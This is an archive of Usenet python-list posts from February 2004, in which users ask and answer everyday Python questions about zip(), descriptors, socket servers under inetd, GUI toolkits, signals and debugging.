How can you be sure when Python reports a SyntaxError?

> Can someone advise any possible work around to this problem ??

See Paul McGuire's post for a fix. As a general rule, you should break messy
expressions into small chunks that are easier to maintain. In your code you
could introduce a distance(x0, y0, x1, y1) function and test it separately
from the rest. Here's another approach that might be helpful if you are
familiar with complex numbers - yes, Python has them built in :-)

# assuming pres, x, y as in your post
FZ = []

# you should create the complex numbers directly in the for loop
# reading from the file - I'm just lazy
z = [complex(x0, y0) for x0, y0 in zip(x, y)]

for z0, z1, p in zip(z, z[1:], pres):
    d = z1-z0
    FZ.append(p*d/abs(d))

# assuming you accidentally swapped FX and FY
FX = [z.real for z in FZ]
FY = [-z.imag for z in FZ] # not sure about the sign

If you're confused by the zip trick in the for loop, here's how it works in
three simple steps:

>>> a = ["a", "b", "c"]
>>> b = ["x", "y", "z"]
>>> zip(a, b)
[('a', 'x'), ('b', 'y'), ('c', 'z')]

zip() will end, when the shortest list is exhausted:

>>> b[1:]
['y', 'z']
>>> zip(a, b[1:])
[('a', 'y'), ('b', 'z')]

>>> zip(a, a[1:])
[('a', 'b'), ('b', 'c')]

I. e, zip(alist, alist[1:]) will create a list of all adjacent pairs in
alist.

Peter



From FBatista at uniFON.com.ar  Wed Feb 11 11:30:16 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 11 Feb 2004 13:30:16 -0300
Subject: How to avoid "f.close" (no parens) bug?
Message-ID: <A128D751272CD411BC9200508BC2194D033835E6@escpl.tcp.com.ar>

Richard Brodie wrote:

#- If  you can't retrofit a 'getattr' method on an attribute in 
#- this way, you are likely
#- to specify get methods in your stable APIs to start with. 
#- Then you'll have code that
#- looks more like Java: A.getB().getC().getD() instead of A.B.C.D

I'm ok to use getattr, or properties.

And it's ok to have something like:

class Test:
    def __getattr__(self, name):
        print "Nobody expects the %s!" % name

t = Test()
t.spanish_inquisition = 5
newvar = t.spanish_inquisition

But, what's the point to have a...

t.spanish_inquisition

...alone?


What I'm trying to say is: If you're not executing any code (no function
call) and you're not doing any assingment, what's the point of that line?

.	Facundo



From michael at foord.net  Wed Feb 11 02:57:20 2004
From: michael at foord.net (Fuzzyman)
Date: 10 Feb 2004 23:57:20 -0800
Subject: Non Parsed Headers in Python
Message-ID: <8089854e.0402102357.6d7b721e@posting.google.com>

How do I make a python CGI output whilst it is still running - how do
I tell the server not to buffer the output ?

I have seen instructions for Perl, but not for python......

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From dw-google.com at botanicus.net  Sat Feb 14 21:23:44 2004
From: dw-google.com at botanicus.net (David M. Wilson)
Date: Sun, 15 Feb 2004 02:23:44 +0000
Subject: A Python equivalent of cfengine?
In-Reply-To: <zzxXb.3076$tU6.4660@reggie.win.bright.net>
References: <zzxXb.3076$tU6.4660@reggie.win.bright.net>
Message-ID: <402ed837$0$7074$ed9e5944@reading.news.pipex.net>

Kent Tenney wrote:
> Howdy,
> 
> Any recommendations for automating
> administrative tasks using Python?

vim? *ducks*


David.



From sax at csmisc72.cs.chalmers.se  Tue Feb  3 10:45:25 2004
From: sax at csmisc72.cs.chalmers.se (Stefan Axelsson)
Date: 3 Feb 2004 15:45:25 GMT
Subject: Installing wxPython and Friends
References: <27d2bd1f.0402021058.56e6b4c6@posting.google.com>
	<30260531.0402021553.acc06ca@posting.google.com>
	<30260531.0402022332.4c18bfc0@posting.google.com>
	<27d2bd1f.0402030421.6a8ccc1f@posting.google.com>
Message-ID: <slrnc1vggl.e48.sax@csmisc72.cs.chalmers.se>

In article <27d2bd1f.0402030421.6a8ccc1f at posting.google.com>, JamesW wrote:
> simo, from whence did you get the wxGTK and wxPython rpms.  The ones I
> got just kinda died on me...
> 
> Lets hope I have the same luck

Well, I haven't followed this from the begining, but I also run RH9
and no problems what so ever. I got the RPMs from the wxpython site
(http://www.wxpython.org/download.php).

Now granted I did the GTK1 install, and that was just a question of
reading the 'prerequisites' section downloading the rpms and install
them.  Boa constructor (which is why I got it in the first place) was
no problem to install either.

If you have any problems, or I've misunderstood just drop me a line.

Stefan,
-- 
Stefan Axelsson                  (email at http://www.cs.chalmers.se/~sax)


From db3l at fitlinxx.com  Wed Feb 11 18:42:04 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 11 Feb 2004 18:42:04 -0500
Subject: Mcmillen Installer Question
References: <2e3b9aea.0402040603.7d9b535d@posting.google.com>
	<30260531.0402092237.79542a6@posting.google.com>
Message-ID: <ud68l2ng3.fsf@fitlinxx.com>

simoninusa2001 at yahoo.co.uk (simo) writes:

> andywil at nortelnetworks.com (Glawster) wrote:
> 
> > DeprecationWarning: the FCNTL module is deprecated; please use fcntl
> 
> > DeprecationWarning: the TERMIOS module is deprecated; please use termios
> 
> Read the errors, you're using uppercase module names, I've had this a
> few times and actually think it's legacy code in Installer.

It happens with me (at least with 5b5) with Installer too and it
doesn't have anything to do with the original source using uppercase
module names (nor even referencing those modules directly).

What appears to happen is that some of the system libraries being used
will have conditional references to modules like "fcntl" (lowercase).
Under Windows, there is an FCNTL module (uppercase) installed in the
library that results in the above error.

Somehow when installer is tracking imports, it processes the
conditional reference to fcntl, but locates the FCNTL module, only the
resulting compiled .pyc file is written as fcntl.pyc (lowercase).  At
that point, the conditional code (which previously never found fcntl
and skipped it) actually loads the fcntl.pyc (generated from the
FCNTL.py) and you get the warning on the import.

I'm not sure if there was a later version than 5b5 (the web site
really does seem to be down doesn't it) that addressed this or not,
nor have I really been annoyed/impacted enough to troubleshoot it
myself.

-- David


From dcarrera at math.umd.edu  Tue Feb 17 10:18:07 2004
From: dcarrera at math.umd.edu (Daniel Carrera)
Date: Tue, 17 Feb 2004 10:18:07 -0500
Subject: Parsers with Python
Message-ID: <20040217151807.GA1179@math.umd.edu>

Greetings all,

I am a new subscriber to this list, and a novice Python user.  Is this the 
correct place to ask for advice on Python-programming?

I want to write a parser for BibTeX.  A BibTeX file is a collection of 
entries that look like this:

@book {Daniel04,
   title = "My Title",
   publisher = {Some publisher Inc.},
   volume = 2,
   year  = 2004
}


Can anyone recommend a parser generator for Python?  I have been 
programming for a few years, but I have never made a parser.  I only have 
a vague notion of what a lexer and a grammar are.  Is there a resource 
that you might recommend?

Thanks you for your time.

Cheers,
-- 
Daniel Carrera | No trees were harmed in the generation of this  e-mail.
PhD student.   | A significant number of electrons were, however, severely 
Math Dept. UMD | inconvenienced.




From http  Fri Feb 27 18:40:30 2004
From: http (Paul Rubin)
Date: 27 Feb 2004 15:40:30 -0800
Subject: Pure Python HTTPS Server
References: <mailman.183.1077835573.8594.python-list@python.org>
	<mailman.208.1077908506.8594.python-list@python.org>
Message-ID: <7x4qtcozv5.fsf@ruckus.brouhaha.com>

Trevor Perrin <trevp at trevp.net> writes:
> I'm a little fuzzy about asynch stuff.  I don't think I can emulate a
> file-descriptor to make it work with select().  What about an
> interface where you can say "get any available bytes", with no
> blocking?  Is that on the right track?

I guess you could use that in combination with pause/sigalarm to
emulate select, but it's probably better to find some way to use
select directly deep down.

> Are you and Paul still looking at adding ciphers to stdlib?  That
> would make me really, really happy :-)....

Do you mean me?  I proposed a standard block cipher API and wrote a
sample implementation last year, but had to set it aside temporarily
because of other commitments at the time.  Between then and now I
heard that the distro maintainers decided they weren't willing to put
ciphers into the stdlib because they were concerned it would create
legal obstacles importing Python into certain places.  They didn't
seem to mind that the existing rotor module already creates those same
issues, or that just about every web browser these days contains an
SSL stack, so they only need to be concerned about places where it's
illegal to use web browsers.  I haven't pursued the issue since then,
but I guess I can do some more work on the code now.  


From peter at engcorp.com  Wed Feb 18 12:30:56 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 12:30:56 -0500
Subject: is it possible to del an imported module?
References: <mailman.6.1077109825.812.python-list@python.org>
Message-ID: <4033A150.AE0D0E6@engcorp.com>

dw wrote:
> 
> my program has potentially hundreds of small py file that
> each open an
> mdichildframe (just like demo from wxPython). I
> implemented it by
> importing the file before use, but would like it be get
> ridded off
> from memory afterward.

Files are actually imported only *once*, and the resulting module
is cached in sys.modules for later use.  If a second or third 
"import" statement imports the same module, it really just creates
a new reference to the same module.

If I were you, I wouldn't worry about the overhead of any of this
unless you actually observe excessive memory consumption in your
program.  (That is, if it doesn't actually cause trouble, just 
ignore it.)

-Peter


From wmwd2zz02 at sneakemail.com  Tue Feb 24 22:11:12 2004
From: wmwd2zz02 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Wed, 25 Feb 2004 16:11:12 +1300
Subject: How to suspend a script?
In-Reply-To: <slrnc3ns46.tlq.bignose-hates-spam@iris.polar.local>
References: <403becad@clarion.carno.net.au>
	<slrnc3ns46.tlq.bignose-hates-spam@iris.polar.local>
Message-ID: <c1h3or$1i6jpv$1@ID-169208.news.uni-berlin.de>

Ben Finney wrote:
> On Wed, 25 Feb 2004 11:29:07 +1100, Steve wrote:
> 
>>How can I send a python script a suspend signal?
> 
> You can send any signal to a process with the (poorly-named) 'kill'
> command.

Also it doesn't matter whether it's a Python program
or anything else -- the OS intercepts the SIGSTOP
or SIGTSTP signals and suspends the process until
it receives a SIGCONT signal.

Note that this will indiscriminately suspend the
process in the middle of whatever it happened to
be doing at the time. This could have bad effects
if e.g. the process is updating the database and
has part of it locked.

If that's a problem, you may need to use some other
signal and arrange for the Python code to catch
the signal and suspend itself when it's safe to
do so. It can do that using the pause() function
in the signal module.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From josecarlos at siadv.com  Wed Feb 18 06:30:06 2004
From: josecarlos at siadv.com (José Carlos)
Date: Wed, 18 Feb 2004 12:30:06 +0100
Subject: strings with moreover of one million of characters
Message-ID: <c0vic2$fe0$1@nsnmrro2-gest.nuria.telefonica-data.net>

Hi.

Is possible use strings with moreover of one million of characters?

I try using int() but the program keep blocked.

Regards.
Jose.




From mwh at python.net  Wed Feb 25 07:19:57 2004
From: mwh at python.net (Michael Hudson)
Date: Wed, 25 Feb 2004 12:19:57 GMT
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
Message-ID: <m38yirfj0z.fsf@pc150.maths.bris.ac.uk>

Jacek Generowicz <jacek.generowicz at cern.ch> writes:

> "Terry Reedy" <tjreedy at udel.edu> writes:
> 
> > Nested functions are much rarer than unnested.  Needing to rebind an
> > outer local, rather than merely read or mutate, is rarer still.
> 
> Chicken and Egg.
> 
> Sapir-Whorf.

Possibly.  Also see Paul's response.

> I sumbit to you that read-only closures are rare in Python because
> they are a recent addition to the language.

Actually, I think uses of nested scopes are fairly common -- in test
suites!  It was writing test cases that motivated us to implement them
for PyPy...

Cheers,
mwh

-- 
  Guido (like us!) is a bit schizophrenic here: he wants to be a
  benevolent dictator, but also wants to treat people like
  grownups. This probably worked better before Python got a large
  American audience <0.9 wink>.  -- Tim Peters, 10 Feb 2000


From steve at ferg.org  Thu Feb  5 20:59:25 2004
From: steve at ferg.org (Stephen Ferg)
Date: 5 Feb 2004 17:59:25 -0800
Subject: Need help with telnetlib flakiness
References: <b16e4ef7.0402041236.7b38c98d@posting.google.com>
Message-ID: <b16e4ef7.0402051759.628069d8@posting.google.com>

Anybody.....?


From mwh at python.net  Thu Feb 12 06:34:02 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 12 Feb 2004 11:34:02 GMT
Subject: Checking for usual descriptors in Python 2.3
References: <mailman.2.1076545873.698.python-list@python.org>
Message-ID: <m3isic1qhi.fsf@pc150.maths.bris.ac.uk>

Fran?ois Pinard <pinard at iro.umontreal.ca> writes:

> This question is a bit technical, but hopefully, this list will offer me
> good hints or nice solutions.  Happily enough for me, it often does! :-)
> 
> I would need to recognise and play with descriptor types, like:
> 
>     member descriptors
>     method descriptors
>     getset descriptors
>     wrapper descriptors
> 
> but do not find how to easily refer to them, either from existing
> constructor types (like we could do with `property', say), nor from
> members of the `types' module.  I also wonder how much I can "get into"
> these various descriptors or tear them apart...

If you want to know whether 'ob' is a descriptor, 

    hasattr(ob, '__get__')

is pretty close.  PEP 252 is also your friend. 

> P.S. - If you are curious, my real goal is creating some metaclass
> able to build kind-of-shadow classes for various pygtk widgets,
> lazily, on the fly.  

I'm not sure how this reletes to the above, but have fun :-)

You may find it sensible to just restrict yourself to a finite set of
descriptors you know how to deal with.

Cheers,
mwh

-- 
  I'm a keen cyclist and I stop at red lights.  Those who don't need
  hitting with a great big slapping machine.
                                           -- Colin Davidson, cam.misc


From jan.kesten at web.de  Fri Feb 27 07:03:31 2004
From: jan.kesten at web.de (Jan)
Date: 27 Feb 2004 04:03:31 -0800
Subject: inetd script in python?
Message-ID: <8ab78660.0402270403.6a36f7f3@posting.google.com>

Hi all!

I looked around a lot, but I didn't find a solution. I have to write
an simple server application to do some jobs and return a result to a
client. I tried SocketServer and this works really fine. But I didn't
manage to get a script working that is started by inetd.

So far I read about that I could use stdin and stdout for
communication since inetd handles the socket. And I read that I could
use socket.fromfd to get a socket object to work with. But both do not
work, I tried to send just a greeting back to the client or getting
some text - nothing.

Is there any working example out there - I coudn't find one. There was
just a snippet like this:

import socket
import sys
client = socket.fromfd(sys.stdin.fileno(), socket.AF_INET,
socket.SOCK_STREAM )
while 1:
    bfr = client.recv(1024)
    client.send(bfr)

And a similar one with 0 instead of sys.stdin.fileno(). Only thing I
get is this error:

socket.error: (134, 'Transport endpoint is not connected')

(Same thing when using stdin/stdout - I'm trying to connect via a
telnet client on a Solaris8/sparc machine).

Any hints?
Jan


From mwh at python.net  Fri Feb 20 06:55:38 2004
From: mwh at python.net (Michael Hudson)
Date: Fri, 20 Feb 2004 11:55:38 GMT
Subject: Descriptors: why __get__(obj,typ=None) instead of
 __get__(obj,typ)
References: <EudZb.31162$5W3.26333@nwrddc02.gnilink.net>
Message-ID: <m3d68ahsna.fsf@pc150.maths.bris.ac.uk>

Shalabh Chaturvedi <shalabh at cafepy.com> writes:

> Almost everwhere the descriptor protocol is mentioned, it specifies
> __get__(obj, typ=None).

Really?  I thought it was "__get__(obj, cls=None)" <wink>.

> Why is a default value needed for the second argument? In which case
> does Python call a descriptor without a second argument?

It doesn't *look* like it does, ever.

/However/ the wrapper for tp_descr_get (typeobject.c:wrap_descr_get)
accepts 1 or 2 arguments translating an absent or None second argument
to NULL, so if you want to behave like C-implemented descriptors,
you'd better accept 1 or 2 arguments.  IOW, it's just part of the
"descriptor protocol".

As to *why* it's like this... erm, not sure about that.

Cheers,
mwh

-- 
  Our Constitution never promised us a good or efficient government,
  just a representative one. And that's what we got.
      -- http://www.advogato.org/person/mrorganic/diary.html?start=109


From dk123456789 at REMOVEhotmail.com  Thu Feb 12 19:16:32 2004
From: dk123456789 at REMOVEhotmail.com (Dave K)
Date: Fri, 13 Feb 2004 01:16:32 +0100
Subject: Word count from file help.
References: <oiAWb.9926$jk2.28236@attbi_s53>
Message-ID: <r74o201a6gn7ns7g1aie60o2podkr7748e@4ax.com>

On Thu, 12 Feb 2004 01:04:20 GMT in comp.lang.python, "jester.dev"
<jester.dev at comcast.net> wrote:

>Hello,
>
>        I'm learning Python from Python Bible, and having some
>problems with this code below. When I run it, I get nothing. It
>should open the file poem.txt (which exists in the current
>directory) and count number of times any given word appears
>in the text.

When I run it (after re-formatting - you can see below how it appears
in my newsreader), and after fixing the two error messages, it prints
the results just as you describe. Try this:

1) Add the line 'CurrentWord = ""' just before the line
         'for CharacterIndex in range(0,len(Text)):'
2) Change the very last line to 'print Word, WordCount[Word]'

If that doesn't work for you then I suspect that the indenting in your
program is wrong (rather than just being mangled by posting it), but
I'm just guessing. It would be helpful if you posted the actual error
message (Traceback) that the Python interpreter prints, that makes it
much easier to find the problem.

Dave

>
>#!/usr/bin/python
>
>    
># WordCount.py - Counts the words in a given text file (poem.txt)
>
>import string
>
>def CountWords(Text):
>        "Count how many times each word appears in Text"
>        # A string (above) after a def statement is a -
>        # "docstring" - a comment intended for documentation.
>        WordCount={}
>        # We will build up (and return) a dictionary whose keys
>        # are the words, and whose values are the corresponding
>        # number of occurrences.
>        
>        CountWords=""
>        # To make the job cleaner, add a period at the end of the
>        # text; that way, we are guaranteed to be finished with
>        # the current word when we run out of letters:
>        Text=Text+"."
>        
>        # We assume that ' and - don't break words, but any other
>        # nonalphabetic character does. This assumption isn't
>        # entirely accurate, but it's close enough for us.
>        # string.letters is a string of all alphabetic charactors.
>        PiecesOfWords=string.letters+"'-"
>        
>        # Iterate over each character in the text. The function
>        # len () returns the length of a sequence.
>        for CharacterIndex in range(0,len(Text)):
>                CurrentCharacter=Text[CharacterIndex]
>                
>                # The find() method of a string finds the starting
>                # index of the first occurrence of a substring within
>                # a string, or returns -1 of it doesn't find a substring.
>                # The next line of code tests to see wether CurrentCharacter
>                # is part of a word:
>                if(PiecesOfWords.find(CurrentCharacter)!=-1):
>                        # Append this letter to the current word.
>                        CurrentWord=CurrentWord+CurrentCharacter
>                else:
>                        # This character is no a letter.
>                                if(CurrentWord!=""):
>                                        # We just finished a word.
>                                        # Convert to lowercase, so "The" and
>"the"
>                                        # fall in the same bucket...
>                                       
>CurrentWord=string.lower(CurrentWord)
>                                        
>                                        # Now increment this word's count.
>                                       
>CurrentCount=WordCount.get(CurrentWord,0)
>                                       
>WordCount[CurrentWord]=CurrentCount+1
>                                        
>                                        # Start a new word.
>                                        CurrentWord=""
>                                        return(WordCount)
>                                if (__name__=="__main__"):
>                                        # Read the text from the file
>peom.txt.
>                                        TextFile=open("poem.txt","r")
>                                        Text=TextFile.read()
>                                        TextFile.close()
>                                        
>                                        # Count the words in the text.
>                                        WordCount=CountWords(Text)
>                                        # Alphabetize the word list, and
>print them all out.
>                                        SortedWords=WordCount.keys()
>                                        SortedWords.sort()
>                                        for Word in SortedWords:
>                                                print Word.WordCount[Word]



From arosado at softhome.net  Fri Feb 13 11:33:04 2004
From: arosado at softhome.net (Andres Rosado-Sepulveda)
Date: Fri, 13 Feb 2004 11:33:04 -0500
Subject: 6 Qustions about Python: Does it do GUI?  more...
In-Reply-To: <102pqn1cls6vde0@news.supernews.com>
References: <mailman.11.1076682913.31398.python-list@python.org>
	<102pqn1cls6vde0@news.supernews.com>
Message-ID: <c0iqli$18325o$1@ID-203388.news.uni-berlin.de>

John Roth wrote:

> "Will" <k4bda at yahoo.com> wrote in message
> news:mailman.11.1076682913.31398.python-list at python.org...
> 
>>I just discovered Python and looked briefly at one of the tutorials
>>for beginners...
>>
>>It looks a lot like the old Command line Basic... I'm sure it does
>>much more but...
>>
>>1 - Can you create windows, buttons, user input fields, etc as you
>>can with Visual Basic?
> 
> 
> Yes and no. Yes, you can use one of several GUI toolkits
> (an interface to TK comes with Python) to construct user
> interfaces. No, it does not have the ease of drag and drop
> building UI and data base programs that VB does.

There are several GUI builders around (wxGlade, for example) but they 
are still under develpment.

[snip]
>>5 - Does it come with a compiler or must the user have the
>>interpreter on their machine?
> 
> 
> No compiler, but there are ways of avoiding having to install
> the interpreter as a separate step.

If this is a huge concern for you, check the freezing modules.

>>I'm interested as I never really took the time to become much of a C
>>programmer (or C++ or Visual C) - I've done lot's of assembly
>>language/embedded processor stuff & years ago Basic and some Visual
>>Basic... before .net... and wondered if Python would do me for some
>>projects I have always wanted to do?
> 
> 
> Unless they are really unusual projectes, most likely.

Like embedded processor stuff.

-- 
Andres Rosado
Email: andresr at despammed.com
ICQ: 66750646
AIM: pantear
Homepage: http://andres980.tripod.com/

A friend may well be reckoned the masterpiece of Nature.
         -- Ralph Waldo Emerson


From Scott.Daniels at Acm.Org  Fri Feb 20 15:47:54 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Fri, 20 Feb 2004 12:47:54 -0800
Subject: How can I waste time ?
In-Reply-To: <7x3c97af8v.fsf@ruckus.brouhaha.com>
References: <282f826a.0402181935.2757359f@posting.google.com>
	<7x3c97af8v.fsf@ruckus.brouhaha.com>
Message-ID: <40367b91@nntp0.pdx.net>

Paul Rubin wrote:

> richardshea at fastmail.fm (Richard Shea) writes:
> 
>>I want my script to pause for a pre-determined number of seconds. How
>>do you do that ?
> 
> 
> import time
> time.sleep(3)  # sleep 3 seconds
Or, if you like,

import math, time

time.sleep(math.pi) # For a bit more than 3 seconds.

The point of this post is simply to make sure people realize they can
use floating point for partial seconds (but I don't know about imaginary
time).

-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From jcarlson at nospam.uci.edu  Tue Feb 24 02:38:23 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 23 Feb 2004 23:38:23 -0800
Subject: Comments requested: brief summary of Python
In-Reply-To: <ce782195.0402232218.6e64177c@posting.google.com>
References: <ce782195.0402232218.6e64177c@posting.google.com>
Message-ID: <c1ev6d$o9h$1@news.service.uci.edu>

I'll send some real comments later (tomorrow or later this week).

I have the sense that your summary of Python, and the handful of other 
languages I checked your descriptions of, are too elementary for an 
experienced programmer to bother reading through.  I got around two 
paragraphs in, then started reading a paragraph per page until I was 
done with the Python version, with the same read-through of C and Perl.

I also notice that your liberal use of semicolons (such as comments in C 
in the last paragraph) are confusing:
   "Comments are denoted by //; everything after that on a line is..."


  - Josiah


From deets_noospaam at web.de  Tue Feb 17 14:54:26 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Tue, 17 Feb 2004 20:54:26 +0100
Subject: How do make a function that creates a sequence of n random
	numbers?
References: <8e3e8c6c.0402171124.1183350c@posting.google.com>
Message-ID: <c0trhi$tmq$00$1@news.t-online.com>

import random

def rand_seq():
    while True:
        yield random.random()

for rn in rand_seq():
    print rn

-- 
Regards,

Diez B. Roggisch


From jepler at unpythonic.net  Sun Feb  1 18:34:02 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Sun, 1 Feb 2004 17:34:02 -0600
Subject: Threading question
In-Reply-To: <bvjuck$pqo$1@nsnmrro2-gest.nuria.telefonica-data.net>
References: <bvjuck$pqo$1@nsnmrro2-gest.nuria.telefonica-data.net>
Message-ID: <20040201233402.GB1014@unpythonic.net>

On Sun, Feb 01, 2004 at 11:25:26PM +0100, Jos? Carlos wrote:
> sorry.
> 
> I want assign a name to each thread.
> 
> I want when the server accept to client, the server add to  list the client
> with a name, for example client1.
> 
> the name of thread will be the name assigned to each client.

Use a dictionary.  Almost any object can be a dictionary key, and any
object can be a dictionary value.

Example:
	class MyThread(threading.Thread): pass
	clients = {}
	client['client1'] = MyThread(...)

Jeff



From M.Waack at gmx.de  Thu Feb  5 15:52:19 2004
From: M.Waack at gmx.de (Mathias Waack)
Date: Thu, 05 Feb 2004 21:52:19 +0100
Subject: "ulimit -s" has no effect?
References: <877jz2f8l9.fsf@dgp.toronto.edu>
	<bvsndq$q03$00$1@news.t-online.com>
	<87n07xwqi3.fsf@dgp.toronto.edu>
Message-ID: <31naf1-d54.ln1@valpo.de>

Maciej Kalisiak wrote:

> If it matters, let me add that I'm running Python from within zsh.
>  % zsh --version
> zsh 4.0.4 (i686-pc-linux-gnu)

Have you tried it with a different shell? Your example works for me
as expected. But I'm using a bash where ulimit is a builtin. Don't
know about zsh. 

Mathias



From idbaxter at semdesigns.com  Tue Feb 10 16:19:15 2004
From: idbaxter at semdesigns.com (Ira Baxter)
Date: Tue, 10 Feb 2004 15:19:15 -0600
Subject: hide sourcecode
References: <bvtm5f$pgq$00$1@news.t-online.com>	<bvtpsp$126$1@news.service.uci.edu>
	<mailman.1261.1076006359.12720.python-list@python.org>
	<bvu6m3$cg1$1@news.service.uci.edu>
	<84fc4588.0402052351.5fc254ae@posting.google.com>
Message-ID: <40294aa5$7@giga.realtime.net>

> Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message
news:<bvu6m3$cg1$1 at news.service.uci.edu>...
> > > I don't know about Windows, but on Unix you can create a script with
> > > permissions 700 and create a small setuid program executing this
script.

One way is to hide the source as obfuscated "cleartext".
We build obfuscators for many languages, and could easily
build one for Python.
See http://www.semanticdesigns.com/Products/Obfuscators/index.html.

(Hello from another Irviner!)


-- 
Ira D. Baxter, Ph.D., CTO   512-250-1018
Semantic Designs, Inc.      www.semdesigns.com




----== Posted via Newsfeed.Com - Unlimited-Uncensored-Secure Usenet News==----
http://www.newsfeed.com The #1 Newsgroup Service in the World! >100,000 Newsgroups
---= 19 East/West-Coast Specialized Servers - Total Privacy via Encryption =---


From http  Sun Feb  1 19:56:11 2004
From: http (Paul Rubin)
Date: 01 Feb 2004 16:56:11 -0800
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<6ee58e07.0401312051.5688006c@posting.google.com>
Message-ID: <7x1xpe9u50.fsf@ruckus.brouhaha.com>

llothar at web.de (Lothar Scholz) writes:
> The problem is that most of them don't use an application server and
> that most of them uses databases very unoptimized, for example PhpBB
> runs about 50 SQL queries per page for medium size thread views.

Ugh!  You mean 50 separate queries, rather than getting a cursor that
you read from 50 times?  I think that could be improved a lot!

> The www.asp-shareware.org has a nice framework that let you view the
> messages in an nntp server. It's amazing fast, because everything is
> hold in memory. Optimizing this by a factor 10 is not difficult.

Is source code available?  I took a quick look there and didn't see
anything about it.  Is the idea of NNTP that you leverage off the
existing NNTP servers that are written in C and already designed to
handle very heavy traffic?

> The problem may come with slashdot or for example the german website
> "www.heise.de" which gets upto 100 requests per second (it's among the
> top ten in germany). They also use a NNTP backend. For sites like this
> you need multiple server and then its not so easy to maintain cache
> coherence. But there are only very few websites that have this
> traffic.

Are multiple servers really needed?  Is a multi-CPU box (4-way Athlon
MP or whatever) with shared memory not enough?  100 requests per second
doesn't sound like all THAT much.

For multiple servers, I've had the idea for a while of using a
Beowulf-type architecture, i.e. using fast LAN connections and special
kernel modules (I think that means MP directly over ethernet or
Myrinet, bypassing the TCP/IP stack) between the servers to get the
next best thing to shared memory.  Another way is just process all
updates (new posts) through a single server.  Every few seconds the
other servers would poll the update server (through a fast LAN) for
new posts to cache.  I think it would be hard to have new posts coming
in fast enough to swamp a server.  Most requests will be reads, not
new posts.

> At the moment there seems to be absolute no evolution in the area of
> BBS's. PHPBB has set a standart an it seems that nobody is able to
> think about more/other functionality. Maybe if more and more people
> get virtual servers and have more control over what they can install
> then it may become better. We shall see.

I think there's new development happening in blogging software, which
is really pretty similar to BBS software, in terms of supporting
comment threads, user diaries, etc.  I'm thinking of Scoop and so forth.


From mesteve_b at hotmail.com  Thu Feb 26 08:59:14 2004
From: mesteve_b at hotmail.com (python newbie)
Date: Thu, 26 Feb 2004 13:59:14 GMT
Subject: Catching exception information from ExpatError
References: <88m%b.30631$Da7.12393@newssvr25.news.prodigy.com>
	<c1krjp$1jveb9$1@ID-111250.news.uni-berlin.de>
Message-ID: <SYm%b.30634$vi7.29723@newssvr25.news.prodigy.com>

Thanks Diez,
 I'll make that the first site that I visit when I have questions, as well.
"Diez B. Roggisch" <nospam-deets at web.de> wrote in message
news:c1krjp$1jveb9$1 at ID-111250.news.uni-berlin.de...
> python newbie wrote:
> > Can you suggest something, is it obvious?
>
> It is.
>
> http://www.python.org/doc/current/lib/expaterror-objects.html
>
>
> -- 
> Regards,
>
> Diez B. Roggisch




From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Sun Feb 22 11:11:12 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sun, 22 Feb 2004 17:11:12 +0100
Subject: Where can I post a new debugger?
In-Reply-To: <mailman.160.1077453987.27104.python-list@python.org>
References: <mailman.160.1077453987.27104.python-list@python.org>
Message-ID: <4038d4a0$0$557$e4fe514c@news.xs4all.nl>

Ziaran _ wrote:

> I have written a new debugger.
> I think people will find it useful.
> Where can I post it for people to download?

I suppose you don't have a web page?
You can just zip it together and upload it to a web page.
Or if you're serious about it, create a Sourceforge project
and put it there ;-)

--Irmen


From nir1408 at hotmail.com  Sat Feb 21 23:24:49 2004
From: nir1408 at hotmail.com (Nir of the Waves)
Date: Sun, 22 Feb 2004 06:24:49 +0200
Subject: New debugger with multiple threading support and other stuff
Message-ID: <BAY10-DAV53YoaXO7q70006aa1e@hotmail.com>

Hello all,

 

I have written a modification of pdb.py that supports multiple threading and other stuff.

It still has some issues, but generally I believe it has some good improvements over the original pdb debugger. 

 

I will appreciate any feedback (And bare patience with me since it is my first python program).

If people find it useful, should it be posted somewhere? 

How, where?

 

Run it with "rpdb.py ?h" for some explanations.

 

Enjoy,

Nir

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From mwh at python.net  Sat Feb 28 12:22:07 2004
From: mwh at python.net (Michael Hudson)
Date: Sat, 28 Feb 2004 17:22:07 GMT
Subject: Type emulation issues with new style classes
References: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>
Message-ID: <m3hdxb6rwg.fsf@pc150.maths.bris.ac.uk>

"Chris" <feb04.20.netman at spamgourmet.com> writes:

> Is there any way to make the class Z behave the same way as class Y?

You need a custom metaclass for Z, and implement __getattr__ there.

HTH.

Cheers,
mwh

-- 
  Lisp does badly because we refuse to lie.  When people ask us if 
  we can solve insoluble problems we say that we can't, and because 
  they expect us to lie to them, they find some other language
  where the truth is less respected.   -- Tim Bradshaw, comp.lang.lisp


From ville at spammers.com  Sat Feb 28 05:39:12 2004
From: ville at spammers.com (Ville Vainio)
Date: 28 Feb 2004 12:39:12 +0200
Subject: Publish/Subscribe Lib for Python?
References: <7ed8f64d.0402280218.5ff447cf@posting.google.com>
Message-ID: <du7ishrmqsv.fsf@amadeus.cc.tut.fi>

>>>>> "Adrian" == Adrian B <borg at swirve.com> writes:

    Adrian> Does anyone know of a framework or library that will
    Adrian> enable me to use publish/subscribe comms?  I want to
    Adrian> create a server (using Python) running on a Unix box that
    Adrian> will accept client connections (from GUIs built with
    Adrian> wxPython) and publish realtime data updates to them.  Any
